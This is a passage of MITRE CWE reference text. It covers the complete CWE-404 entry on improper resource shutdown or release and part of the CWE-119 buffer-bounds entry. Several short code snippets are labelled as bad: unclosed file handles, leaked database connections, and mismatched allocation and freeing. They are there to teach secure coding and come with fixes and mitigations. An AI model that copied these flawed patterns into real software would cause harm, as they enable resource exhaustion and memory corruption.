Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

The product does not release or incorrectly releases a resource before it is made available for re-use.

Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	664	Improper Control of a Resource Through its Lifetime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	299	Improper Check for Certificate Revocation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	459	Incomplete Cleanup
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	763	Release of Invalid Pointer or Reference
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	772	Missing Release of Resource after Effective Lifetime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1266	Improper Scrubbing of Sensitive Data from Decommissioned Device
PeerOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	405	Asymmetric Resource Consumption (Amplification)
PeerOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	239	Failure to Handle Incomplete Element
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	619	Dangling Database Cursor ('Cursor Injection')

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	401	Missing Release of Memory after Effective Lifetime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	459	Incomplete Cleanup
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	763	Release of Invalid Pointer or Reference
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	772	Missing Release of Resource after Effective Lifetime

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	401	Missing Release of Memory after Effective Lifetime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	772	Missing Release of Resource after Effective Lifetime
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	775	Missing Release of File Descriptor or Handle after Effective Lifetime

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	761	Free of Pointer not at Start of Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	762	Mismatched Memory Management Routines
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	763	Release of Invalid Pointer or Reference
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	772	Missing Release of Resource after Effective Lifetime
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	775	Missing Release of File Descriptor or Handle after Effective Lifetime

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Availability Other	Technical Impact: DoS: Resource Consumption (Other); Varies by Context Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.
Confidentiality	Technical Impact: Read Application Data When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.

(bad code)

Example Language: Java

private void processFile(string fName)
{

BufferReader fil = new BufferReader(new FileReader(fName));
String line;
while ((line = fil.ReadLine()) != null)
{

processLine(line);

}

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

(good code)

Example Language: Java

private void processFile(string fName)
{

BufferReader fil = new BufferReader(new FileReader(fName));
String line;
while ((line = fil.ReadLine()) != null)
{

processLine(line);

}
fil.Close();

}

Example 2

This code attempts to open a connection to a database and catches any exceptions that may occur.

(bad code)

Example Language: Java

try {

Connection con = DriverManager.getConnection(some_connection_string);

}
catch ( Exception e ) {

log( e );

}

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 3

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

(bad code)

Example Language: C#

...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...

Example 4

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

(bad code)

Example Language: C

int decodeFile(char* fName) {

char buf[BUF_SZ];
FILE* f = fopen(fName, "r");
if (!f) {

printf("cannot open %s\n", fName);
return DECODE_FAIL;

}
else {

while (fgets(buf, BUF_SZ, f)) {

if (!checkChecksum(buf)) {

return DECODE_FAIL;

}
else {

decodeBlock(buf);

}

}
fclose(f);
return DECODE_SUCCESS;

}

Example 5

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

(bad code)

Example Language: C++

class A {

void foo();

};
void A::foo(){

int *ptr;
ptr = (int*)malloc(sizeof(int));
delete ptr;

}

Example 6

In this example, the program calls the delete[] function on non-heap memory.

(bad code)

Example Language: C++

class A{

void foo(bool);

};
void A::foo(bool heap) {

int localArray[2] = {

11,22

};
int *p = localArray;
if (heap){

p = new int[2];

}
delete[] p;

}

Observed Examples

Reference	Description
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent.
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.
CVE-2002-1372	Chain: Return values of file/socket operations are not checked (CWE-252), allowing resultant consumption of file descriptors (CWE-772).

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

Phase: Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

Phase: Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect) Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.
Resultant	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect) Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

Detection Methods

Automated Dynamic Analysis

Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the product under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	398	7PK - Code Quality
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	730	OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	752	2009 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	982	SFP Secondary Cluster: Failure to Release Resource
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1309	CISQ Quality Measures - Efficiency
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Notes

Relationship

Overlaps memory leaks, asymmetric resource consumption, malformed input errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper resource shutdown or release
7 Pernicious Kingdoms			Unreleased Resource
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed
Software Fault Patterns	SFP14		Failure to release resource

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-125	Flooding
CAPEC-130	Excessive Allocation
CAPEC-131	Resource Leak Exposure
CAPEC-494	TCP Fragmentation
CAPEC-495	UDP Fragmentation
CAPEC-496	ICMP Fragmentation
CAPEC-666	BlueSmacking

References

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences, Likelihood_of_Exploit, Other_Notes, Potential_Mitigations, Relationship_Notes, Relationships, Weakness_Ordinalities
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Description, Relationships
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Demonstrative_Examples, Related_Attack_Patterns
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Other_Notes
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Potential_Mitigations, Relationships
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Detection_Factors, Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Demonstrative_Examples
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Weakness_Ordinalities
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Demonstrative_Examples
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Related_Attack_Patterns
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Functional_Areas, Likelihood_of_Exploit, Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings, Type
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Related_Attack_Patterns
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Detection_Factors
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples

Weakness ID: 119

View customized information:

Description

The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

Alternate Terms

Buffer Overflow:	This term has many different meanings to different audiences. From a CWE mapping perspective, this term should be avoided where possible. Some researchers, developers, and tools intend for it to mean "write past the end of a buffer," whereas others use the same term to mean "any read or write outside the boundaries of a buffer, whether before the beginning of the buffer or after the end of the buffer." Still others using the same term could mean "any action after the end of a buffer, whether it is a read or write." Since the term is commonly used for exploitation and for vulnerabilities, it further confuses things.
buffer overrun:	Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow." See the alternate term for "buffer overflow" for context.
memory safety:	Generally used for techniques that avoid weaknesses related to memory access, such as those identified by CWE-119 and its descendants. However, the term is not formal, and there is likely disagreement between practitioners as to which weaknesses are implicitly covered by the "memory safety" term.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	118	Incorrect Access of Indexable Resource ('Range Error')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	125	Out-of-bounds Read
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	466	Return of Pointer Value Outside of Expected Range
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	786	Access of Memory Location Before Start of Buffer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	788	Access of Memory Location After End of Buffer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	805	Buffer Access with Incorrect Length Value
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	822	Untrusted Pointer Dereference
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	823	Use of Out-of-range Pointer Offset
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	824	Access of Uninitialized Pointer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference
CanFollow	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	20	Improper Input Validation
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	128	Wrap-around Error
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	129	Improper Validation of Array Index
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	131	Incorrect Calculation of Buffer Size
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	190	Integer Overflow or Wraparound
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	193	Off-by-one Error
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	195	Signed to Unsigned Conversion Error
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	839	Numeric Range Comparison Without Minimum Check
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	843	Access of Resource Using Incompatible Type ('Type Confusion')
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1260	Improper Handling of Overlap Between Protected Memory Ranges
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1339	Insufficient Precision or Accuracy of a Real Number

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	125	Out-of-bounds Read
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	824	Access of Uninitialized Pointer

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	123	Write-what-where Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	125	Out-of-bounds Read
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	130	Improper Handling of Length Parameter Inconsistency
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	786	Access of Memory Location Before Start of Buffer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	788	Access of Memory Location After End of Buffer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	805	Buffer Access with Incorrect Length Value
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	822	Untrusted Pointer Dereference
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	823	Use of Out-of-range Pointer Offset
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	824	Access of Uninitialized Pointer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	123	Write-what-where Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	125	Out-of-bounds Read
